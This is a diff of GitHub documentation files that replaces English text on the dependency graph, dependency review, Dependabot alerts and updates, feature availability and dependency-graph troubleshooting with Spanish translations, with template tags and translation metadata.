- El gráfico de dependencias se actualiza automáticamente al insertar una confirmación en {% data variables.product.company_short %} que cambia o agrega un archivo de manifiesto o de bloqueo admitido a la rama predeterminada y cuando alguien inserta un cambio en el repositorio de una de las dependencias.
|
||||
- Para ver el gráfico de dependencias, abra la página principal del repositorio en {% data variables.product.product_name %} y vaya a la pestaña **Conclusiones**.
|
||||
|
||||
{% ifversion dependency-submission-api %}
|
||||
{% data reusables.dependency-submission.dependency-submission-link %}
|
||||
{% endif %}
|
||||
{% ifversion dependency-submission-api %} {% data reusables.dependency-submission.dependency-submission-link %} {% endif %}
|
||||
|
||||
For more information about the dependency graph, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)."
|
||||
Para más información sobre el gráfico de dependencias, vea "[Acerca del gráfico de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)".
|
||||
|
||||
### What is dependency review
|
||||
### Qué es la revisión de dependencias
|
||||
|
||||
Dependency review helps reviewers and contributors understand dependency changes and their security impact in every pull request.
|
||||
La revisión de dependencias ayuda a los revisores y colaboradores a comprender los cambios de dependencia y su impacto en la seguridad en cada solicitud de incorporación de cambios.
|
||||
|
||||
- Dependency review tells you which dependencies were added, removed, or updated, in a pull request. You can use the release dates, popularity of dependencies, and vulnerability information to help you decide whether to accept the change.
|
||||
- You can see the dependency review for a pull request by showing the rich diff on the **Files Changed** tab.
|
||||
- La revisión de dependencias indica qué dependencias se han agregado, quitado o actualizado en una solicitud de incorporación de cambios. Puede usar las fechas de lanzamiento, la popularidad de las dependencias y la información de vulnerabilidad para ayudarle a decidir si quiere aceptar el cambio.
|
||||
- Puede ver la revisión de dependencias de una solicitud de incorporación de cambios si muestra la diferencia enriquecida en la pestaña **Archivos cambiados**.
|
||||
|
||||
For more information about dependency review, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
|
||||
Para más información sobre la revisión de dependencias, vea "[Acerca de la revisión de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)".
|
||||
|
||||
### What is Dependabot
|
||||
### Qué es Dependabot
|
||||
|
||||
{% data variables.product.prodname_dependabot %} keeps your dependencies up to date by informing you of any security vulnerabilities in your dependencies{% ifversion fpt or ghec or ghes %}, and automatically opens pull requests to upgrade your dependencies to the next available secure version when a {% data variables.product.prodname_dependabot %} alert is triggered, or to the latest version when a release is published{% else %} so that you can update that dependency{% endif %}.
|
||||
{% data variables.product.prodname_dependabot %} mantiene actualizadas las dependencias para lo cual te informa de cualquier vulnerabilidad de seguridad en ellas{% ifversion fpt or ghec or ghes %}, y abre solicitudes de incorporación de cambios de forma automática para actualizar las dependencias a la siguiente versión segura disponible cuando se desencadena una alerta de {% data variables.product.prodname_dependabot %}, o bien a la versión más reciente cuando se publica una versión{% else %} para que puedas actualizar esa dependencia.{% endif %}.
|
||||
|
||||
{% ifversion fpt or ghec or ghes %}
|
||||
The term "{% data variables.product.prodname_dependabot %}" encompasses the following features:
|
||||
- {% data variables.product.prodname_dependabot_alerts %}—Displayed notification on the **Security** tab for the repository, and in the repository's dependency graph. The alert includes a link to the affected file in the project, and information about a fixed version.
|
||||
{% ifversion fpt or ghec or ghes %} El término "{% data variables.product.prodname_dependabot %}" abarca las características siguientes:
|
||||
- {% data variables.product.prodname_dependabot_alerts %}: notificación mostrada en la pestaña **Seguridad** y en el gráfico de dependencias del repositorio. La alerta incluye un enlace al archivo afectado en el proyecto e información acerca de la versión arreglada.
|
||||
- {% data variables.product.prodname_dependabot_updates %}:
|
||||
- {% data variables.product.prodname_dependabot_security_updates %}—Triggered updates to upgrade your dependencies to a secure version when an alert is triggered.
|
||||
- {% data variables.product.prodname_dependabot_version_updates %}—Scheduled updates to keep your dependencies up to date with the latest version.
|
||||
- {% data variables.product.prodname_dependabot_security_updates %}: actualizaciones desencadenadas para actualizar las dependencias a una versión segura cuando se desencadena una alerta.
|
||||
- {% data variables.product.prodname_dependabot_version_updates %}: actualizaciones programadas para mantener actualizadas las dependencias con la versión más reciente.
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% ifversion fpt or ghec %}
|
||||
|
||||
{% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}, and {% data variables.product.prodname_dependabot_version_updates %} do not use {% data variables.product.prodname_actions %} when they run on {% data variables.product.product_name %}. However, pull requests opened by {% data variables.product.prodname_dependabot %} can trigger workflows that run actions. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions)."
|
||||
Las {% data variables.product.prodname_dependabot_alerts %}, las {% data variables.product.prodname_dependabot_security_updates %} y las {% data variables.product.prodname_dependabot_version_updates %} no usan {% data variables.product.prodname_actions %} cuando se ejecutan en {% data variables.product.product_name %}. Sin embargo, las solicitudes de incorporación de cambios que {% data variables.product.prodname_dependabot %} abre pueden desencadenar flujos de trabajo que ejecutan acciones. Para obtener más información, consulte "[Automatización de {% data variables.product.prodname_dependabot %} con {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions)".
|
||||
|
||||
{% elsif ghes %}
|
||||
|
||||
{% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_dependabot_version_updates %} require {% data variables.product.prodname_actions %} to run on {% data variables.product.product_name %}. {% data variables.product.prodname_dependabot_alerts %} do not require {% data variables.product.prodname_actions %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
|
||||
Las {% data variables.product.prodname_dependabot_security_updates %} y las {% data variables.product.prodname_dependabot_version_updates %} requieren que {% data variables.product.prodname_actions %} se ejecute en {% data variables.product.product_name %}. Las {% data variables.product.prodname_dependabot_alerts %} no necesitan {% data variables.product.prodname_actions %}. Para obtener más información, consulte "[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)".
|
||||
|
||||
{% elsif ghae %}
|
||||
|
||||
{% data variables.product.prodname_actions %} is not required for {% data variables.product.prodname_dependabot_alerts %} to run on {% data variables.product.product_name %}.
|
||||
{% data variables.product.prodname_actions %} no es necesario para que las {% data variables.product.prodname_dependabot_alerts %} se ejecuten en {% data variables.product.product_name %}.
|
||||
|
||||
{% endif %}
|
||||
|
||||
#### What are Dependabot alerts
|
||||
#### Qué son las alertas de Dependabot
|
||||
|
||||
{% data variables.product.prodname_dependabot_alerts %} highlight repositories affected by a newly discovered vulnerability based on the dependency graph and the {% data variables.product.prodname_advisory_database %}, which contains advisories for known vulnerabilities{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %}.
|
||||
{% data variables.product.prodname_dependabot_alerts %} resalta los repositorios afectados por una vulnerabilidad recién detectada en función del gráfico de dependencias y {% data variables.product.prodname_advisory_database %}, que contiene los avisos para las vulnerabilidades conocidas{% ifversion GH-advisory-db-supports-malware %} y el malware{% endif %}.
|
||||
|
||||
- {% data variables.product.prodname_dependabot %} performs a scan to detect insecure dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
|
||||
{% ifversion fpt or ghec %}
|
||||
- A new advisory is added to the {% data variables.product.prodname_advisory_database %}.{% else %}
|
||||
- New advisory data is synchronized to {% data variables.location.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %}
|
||||
- The dependency graph for the repository changes.
|
||||
- {% data variables.product.prodname_dependabot_alerts %} are displayed {% ifversion fpt or ghec or ghes %} on the **Security** tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes %}a link to the affected file in the project, and {% endif %}information about a fixed version.
|
||||
- {% data variables.product.prodname_dependabot %} realiza un examen para detectar las dependencias no seguras y envía {% data variables.product.prodname_dependabot_alerts %} cuando: {% ifversion fpt or ghec %}
|
||||
- Se agrega un aviso nuevo a {% data variables.product.prodname_advisory_database %}.{% else %}
|
||||
- Se sincronizan nuevos datos de aviso en {% data variables.location.product_location %} cada hora desde {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %}
|
||||
- Cambia el gráfico de dependencias del repositorio.
|
||||
- {% data variables.product.prodname_dependabot_alerts %} se muestran {% ifversion fpt or ghec or ghes %} en la pestaña **Seguridad** del repositorio y{% endif %} en el gráfico de dependencias del repositorio. La alerta incluye {% ifversion fpt or ghec or ghes %}un vínculo al archivo afectado en el proyecto e {% endif %}información sobre una versión fija.
|
||||
|
||||
For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)."
|
||||
Para más información, vea "[Acerca de {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)".
|
||||
|
||||
{% ifversion fpt or ghec or ghes %}
|
||||
#### What are Dependabot updates
|
||||
#### Qué son las actualizaciones de Dependabot
|
||||
|
||||
There are two types of {% data variables.product.prodname_dependabot_updates %}: {% data variables.product.prodname_dependabot %} _security_ updates and _version_ updates. {% data variables.product.prodname_dependabot %} generates automatic pull requests to update your dependencies in both cases, but there are several differences.
|
||||
Hay dos tipos de {% data variables.product.prodname_dependabot_updates %}: actualizaciones de _seguridad_ y de _versión_ de {% data variables.product.prodname_dependabot %}. En los dos casos {% data variables.product.prodname_dependabot %} genera solicitudes de incorporación de cambios automáticas para actualizar las dependencias, pero hay varias diferencias.
|
||||
|
||||
{% data variables.product.prodname_dependabot_security_updates %}:
|
||||
- Triggered by a {% data variables.product.prodname_dependabot %} alert
|
||||
- Update dependencies to the minimum version that resolves a known vulnerability
|
||||
- Supported for ecosystems the dependency graph supports
|
||||
- Does not require a configuration file, but you can use one to override the default behavior
|
||||
- Desencadenada por una alerta de {% data variables.product.prodname_dependabot %}
|
||||
- Actualizan las dependencias a la versión mínima que resuelve una vulnerabilidad conocida
|
||||
- Compatible con ecosistemas admitidos en el gráfico de dependencias
|
||||
- No requiere un archivo de configuración, pero puedes usar uno para invalidar el comportamiento predeterminado.
|
||||
|
||||
{% data variables.product.prodname_dependabot_version_updates %}:
|
||||
- Requires a configuration file
|
||||
- Run on a schedule you configure
|
||||
- Update dependencies to the latest version that matches the configuration
|
||||
- Supported for a different group of ecosystems
|
||||
- Requiere un archivo de configuración
|
||||
- Se ejecutan según una programación que configure
|
||||
- Actualizan las dependencias a la versión más reciente que coincida con la configuración
|
||||
- Compatible con un grupo diferente de ecosistemas
|
||||
|
||||
For more information about {% data variables.product.prodname_dependabot_updates %}, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)" and "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)."
|
||||
Para más información sobre {% data variables.product.prodname_dependabot_updates %}, vea "[Acerca de {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)" y "[Acerca de {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)".
|
||||
{% endif %}
|
||||
|
||||
## Feature availability
|
||||
## Disponibilidad de características
|
||||
|
||||
{% ifversion fpt or ghec %}
|
||||
|
||||
Public repositories:
|
||||
- **Dependency graph**—enabled by default and cannot be disabled.
|
||||
- **Dependency review**—enabled by default and cannot be disabled.
|
||||
- **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. {% data variables.product.prodname_dotcom %} detects insecure dependencies and displays information in the dependency graph, but does not generate {% data variables.product.prodname_dependabot_alerts %} by default. Repository owners or people with admin access can enable {% data variables.product.prodname_dependabot_alerts %}.
|
||||
You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)."
|
||||
Repositorios públicos:
|
||||
- **Gráfico de dependencias**: habilitado de forma predeterminada y no se puede deshabilitar.
|
||||
- **Revisión de dependencias**: habilitada de forma predeterminada y no se puede deshabilitar.
|
||||
- **{% data variables.product.prodname_dependabot_alerts %}** : no está habilitado de forma predeterminada. {% data variables.product.prodname_dotcom %} detecta las dependencias no seguras y muestra información en el gráfico de dependencias, pero no genera {% data variables.product.prodname_dependabot_alerts %} de forma predeterminada. Los propietarios de repositorios o los usuarios con acceso administrativo pueden habilitar las {% data variables.product.prodname_dependabot_alerts %}.
|
||||
También puede habilitar o deshabilitar las alertas de Dependabot para todos los repositorios que pertenecen a la cuenta de usuario u organización. Para más información, vea "[Administración de la configuración de seguridad y análisis de la cuenta de usuario](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" o "[Administración de la configuración de seguridad y análisis para la organización](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)".
|
||||
|
||||
Private repositories:
|
||||
- **Dependency graph**—not enabled by default. The feature can be enabled by repository administrators. For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."
|
||||
Repositorios privados:
|
||||
- **Gráfico de dependencias**: no está habilitado de forma predeterminada. Los administradores del repositorio pueden habilitar la característica. Para más información, vea "[Exploración de las dependencias de un repositorio](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)".
|
||||
{% ifversion fpt %}
|
||||
- **Dependency review**—available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).
|
||||
- **Revisión de dependencias**: disponible en los repositorios privados propiedad de las organizaciones que usan {% data variables.product.prodname_ghe_cloud %} y que tienen una licencia para {% data variables.product.prodname_GH_advanced_security %}. Para más información, vea la [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).
|
||||
{% elsif ghec %}
|
||||
- **Dependency review**—available in private repositories owned by organizations provided you have a license for {% data variables.product.prodname_GH_advanced_security %} and the dependency graph enabled. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" and "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."
|
||||
{% endif %}
|
||||
- **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories.
|
||||
You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)."
|
||||
- **Revisión de dependencias**: disponible repositorios privados propiedad de las organizaciones, siempre que tenga una licencia para {% data variables.product.prodname_GH_advanced_security %} y haya habilitado el gráfico de dependencias. Para más información, vea "[Acerca de {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" y "[Exploración de las dependencias de un repositorio](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)". {% endif %}
|
||||
- **{% data variables.product.prodname_dependabot_alerts %}** : no está habilitado de forma predeterminada. Los propietarios de los repositorios privados o las personas con acceso administrativo puede habilitar las {% data variables.product.prodname_dependabot_alerts %} si habilitan la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} para sus repositorios.
|
||||
También puede habilitar o deshabilitar las alertas de Dependabot para todos los repositorios que pertenecen a la cuenta de usuario u organización. Para más información, vea "[Administración de la configuración de seguridad y análisis de la cuenta de usuario](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" o "[Administración de la configuración de seguridad y análisis para la organización](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)".
|
||||
|
||||
Any repository type:
|
||||
- **{% data variables.product.prodname_dependabot_security_updates %}**—not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)."
|
||||
- **{% data variables.product.prodname_dependabot_version_updates %}**—not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see "[Configuring {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)."
|
||||
Cualquier tipo de repositorio:
|
||||
- **{% data variables.product.prodname_dependabot_security_updates %}** : no está habilitado de forma predeterminada. Puedes habilitar las {% data variables.product.prodname_dependabot_security_updates %} para cualquier repositorio que utilice {% data variables.product.prodname_dependabot_alerts %} y la gráfica de dependencias. Para obtener información sobre cómo habilitar las actualizaciones de seguridad, vea "[Configuración de {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)".
|
||||
- **{% data variables.product.prodname_dependabot_version_updates %}** : no está habilitado de forma predeterminada. Las personas con permisos de escritura en un repositorio pueden habilitar las {% data variables.product.prodname_dependabot_version_updates %}. Para obtener información sobre cómo habilitar las actualizaciones de versiones, consulta "[Configuración de {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)".
|
||||
{% endif %}
|
||||
|
||||
{% ifversion ghes or ghae %}
|
||||
- **Dependency graph** and **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. Both features are configured at an enterprise level by the enterprise owner. For more information, see {% ifversion ghes %}"[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)" and {% endif %}"[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
|
||||
- **Dependency review**—available when dependency graph is enabled for {% data variables.location.product_location %} and {% data variables.product.prodname_advanced_security %} is enabled for the organization or repository. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
|
||||
{% endif %}
|
||||
{% ifversion ghes %}
|
||||
- **{% data variables.product.prodname_dependabot_security_updates %}**—not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)."
|
||||
- **{% data variables.product.prodname_dependabot_version_updates %}**—not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see "[Configuring {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)."
|
||||
- **Gráfico de dependencias** y **{% data variables.product.prodname_dependabot_alerts %}** : no están habilitados de forma predeterminada. El propietario de la empresa configura las dos características en un nivel empresarial. Para más información, vea {% ifversion ghes %}"[Habilitación del gráfico de dependencias para la empresa](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)" y {% endif %}"[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)".
|
||||
- **Revisión de dependencias**: disponible cuando se habilita el gráfico de dependencias para {% data variables.location.product_location %} y se habilita {% data variables.product.prodname_advanced_security %} para la organización o el repositorio. Para más información, consulte "[Acerca de {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)".
|
||||
{% endif %} {% ifversion ghes %}
|
||||
- **{% data variables.product.prodname_dependabot_security_updates %}** : no está habilitado de forma predeterminada. Puedes habilitar las {% data variables.product.prodname_dependabot_security_updates %} para cualquier repositorio que utilice {% data variables.product.prodname_dependabot_alerts %} y la gráfica de dependencias. Para obtener información sobre cómo habilitar las actualizaciones de seguridad, vea "[Configuración de {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)".
|
||||
- **{% data variables.product.prodname_dependabot_version_updates %}** : no está habilitado de forma predeterminada. Las personas con permisos de escritura en un repositorio pueden habilitar las {% data variables.product.prodname_dependabot_version_updates %}. Para obtener información sobre cómo habilitar las actualizaciones de versiones, consulta "[Configuración de {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)".
|
||||
{% endif %}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Troubleshooting the dependency graph
|
||||
intro: 'If the dependency information reported by the dependency graph is not what you expected, there are a number of points to consider, and various things you can check.'
|
||||
title: Solución de problemas del gráfico de dependencias
|
||||
intro: 'Si la información de la dependencia que se notifica en el gráfico de dependencias no es lo que esperabas, debes tener en cuenta varias cuestiones y comprobar diversos elementos.'
|
||||
shortTitle: Troubleshoot dependency graph
|
||||
versions:
|
||||
fpt: '*'
|
||||
@@ -16,51 +16,56 @@ topics:
|
||||
- Dependency graph
|
||||
- CVEs
|
||||
- Repositories
|
||||
ms.openlocfilehash: 30c4830c125e9b20ada59e0e0e29fa0eb5c6c649
|
||||
ms.sourcegitcommit: a9af58ef52d8d109186053d184d9b1e52e5f0323
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 11/02/2022
|
||||
ms.locfileid: '148128908'
|
||||
---
|
||||
|
||||
{% data reusables.dependabot.result-discrepancy %}
|
||||
|
||||
## Does the dependency graph only find dependencies in manifests and lockfiles?
|
||||
## ¿Acaso la gráfica de dependencias solo encuentra depedencias en los manifiestos y lockfiles?
|
||||
|
||||
The dependency graph {% ifversion dependency-submission-api %}automatically{% endif %} includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file.
|
||||
El gráfico de dependencias incluye{% ifversion dependency-submission-api %} de forma automática{% endif %} información sobre las dependencias que se declaran explícitamente en el entorno. Esto es, dependencias que se especifican en un manifiesto o en un lockfile. La gráfica de dependencias también incluye dependencias transitivas generalmente, aún cuando no se especifican en un lockfile, mediante la revisión de las dependencias de las dependencias en un archivo de manifiesto.
|
||||
|
||||
The dependency graph doesn't {% ifversion dependency-submission-api %}automatically{% endif %} include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile.
|
||||
El gráfico de dependencias no incluye{% ifversion dependency-submission-api %} de forma automática{% endif %} dependencias "sueltas". Las dependencias "sueltas" son archivos individuales que se copian de otra fuernte y se revisan directamente en el repositorio o dentro de un archivo (tal como un archivo ZIP o JAR) en ves de que se referencien en un manifiesto de paquete de administrador o en un lockfile.
|
||||
|
||||
{% ifversion dependency-submission-api %}However, you can use the Dependency submission API (beta) to add dependencies to a project's dependency graph, even if the dependencies are not declared in a manifest or lock file, such as dependencies resolved when a project is built. The dependency graph will display the submitted dependencies grouped by ecosystem, but separately from the dependencies parsed from manifest or lock files. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %}
|
||||
{% ifversion dependency-submission-api %}Aun así, puedes usar la API de envío de dependencias (beta) para agregar dependencias al gráfico de dependencias de un proyecto, incluso si las dependencias no se declaran en un archivo de manifiesto o de bloqueo, como las dependencias que se resuelven cuando se compila un proyecto. El gráfico de dependencias mostrará las dependencias enviadas agrupadas por ecosistema, pero por separado de las dependencias analizadas de los archivos de manifiesto o de bloqueo. Para obtener más información sobre la API de envío de dependencias, consulta "[Uso de la API de envío de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)".{% endif %}
|
||||
|
||||
**Check**: Is the missing dependency for a component that's not specified in the repository's manifest or lockfile?
|
||||
**Comprobación**: ¿La dependencia que falta es para un componente sin especificar en el manifiesto o archivo de bloqueo del repositorio?
|
||||
|
||||
## Does the dependency graph detect dependencies specified using variables?
|
||||
## ¿Acaso la gráfica de dependencias detecta dependencias que se especifican utilizando variables?
|
||||
|
||||
The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not {% ifversion dependency-submission-api %}automatically{% endif %} be included in the dependency graph.
|
||||
La gráfica de dependencias analiza los manifiestos mientras se suben a {% data variables.product.prodname_dotcom %}. Por lo tanto, la gráfica de dependencias no tiene acceso al ambiente de compilación del proyecto, así que no puede resolver variables que se utilizan dentro de los manifiestos. Si usas variables dentro de un manifiesto para especificar el nombre, o más comúnmente la versión de una dependencia, dicha dependencia no se incluirá{% ifversion dependency-submission-api %} de forma automática{% endif %} en el gráfico de dependencias.
|
||||
|
||||
{% ifversion dependency-submission-api %}However, you can use the Dependency submission API (beta) to add dependencies to a project's dependency graph, even if the dependencies are only resolved when a project is built. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %}
|
||||
{% ifversion dependency-submission-api %}Aun así, puedes usar la API de envío de dependencias (beta) para agregar dependencias al gráfico de dependencias de un proyecto, incluso si las dependencias solo se resuelven cuando se compila un proyecto. Para obtener más información sobre la API de envío de dependencias, consulta "[Uso de la API de envío de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)".{% endif %}
|
||||
|
||||
**Check**: Is the missing dependency declared in the manifest by using a variable for its name or version?
|
||||
**Comprobación**: ¿Falta la dependencia declarada en el manifiesto mediante una variable para su nombre o versión?
|
||||
|
||||
## Are there limits which affect the dependency graph data?
|
||||
## ¿Existen límites que afecten los datos de la gráfica de dependencias?
|
||||
|
||||
Yes, the dependency graph has two categories of limits:
|
||||
Sí, la gráfica de dependencias tiene dos categorías de límites:
|
||||
|
||||
1. **Processing limits**
|
||||
1. **Límites de procesamiento**
|
||||
|
||||
These affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created.
|
||||
Estos afectan la gráfica de dependencias que se muestra dentro de {% data variables.product.prodname_dotcom %} y también previenen la creación de {% data variables.product.prodname_dependabot_alerts %}.
|
||||
|
||||
Manifests over 0.5 MB in size are only processed for enterprise accounts. For other accounts, manifests over 0.5 MB are ignored and will not create {% data variables.product.prodname_dependabot_alerts %}.
|
||||
Los manifiestos mayores a 0.5 MB solo se procesan para las cuentas empresariales. En el caso de otras cuentas, los manifiestos mayores a 0.5 MB se ingoran y no crearán {% data variables.product.prodname_dependabot_alerts %}.
|
||||
|
||||
By default, {% data variables.product.prodname_dotcom %} will not process more than {% ifversion fpt %}150{% else %}600{% endif %} manifests per repository. {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. If you need to increase the limit, contact {% data variables.contact.contact_support %}.
|
||||
De manera predeterminada, {% data variables.product.prodname_dotcom %} no procesará más de {% ifversion fpt %}150{% else %}600{% endif %} manifiestos por repositorio. Las {% data variables.product.prodname_dependabot_alerts %} no se crean para los manifiestos más allá de este límite. Si necesitas incrementar el límite, contacta a {% data variables.contact.contact_support %}.
|
||||
|
||||
2. **Visualization limits**
|
||||
2. **Límites de visualización**
|
||||
|
||||
These affect what's displayed in the dependency graph within {% data variables.product.prodname_dotcom %}. However, they don't affect the {% data variables.product.prodname_dependabot_alerts %} that are created.
|
||||
Estos afectan a lo que se muestra en la gráfica de dependencias dentro de {% data variables.product.prodname_dotcom %}. Sin embargo, estos no afectan las {% data variables.product.prodname_dependabot_alerts %} que se crean.
|
||||
|
||||
The Dependencies view of the dependency graph for a repository only displays 100 manifests. Typically this is adequate as it is significantly higher than the processing limit described above. In situations where the processing limit is over 100, {% data variables.product.prodname_dependabot_alerts %} are still created for any manifests that are not shown within {% data variables.product.prodname_dotcom %}.
|
||||
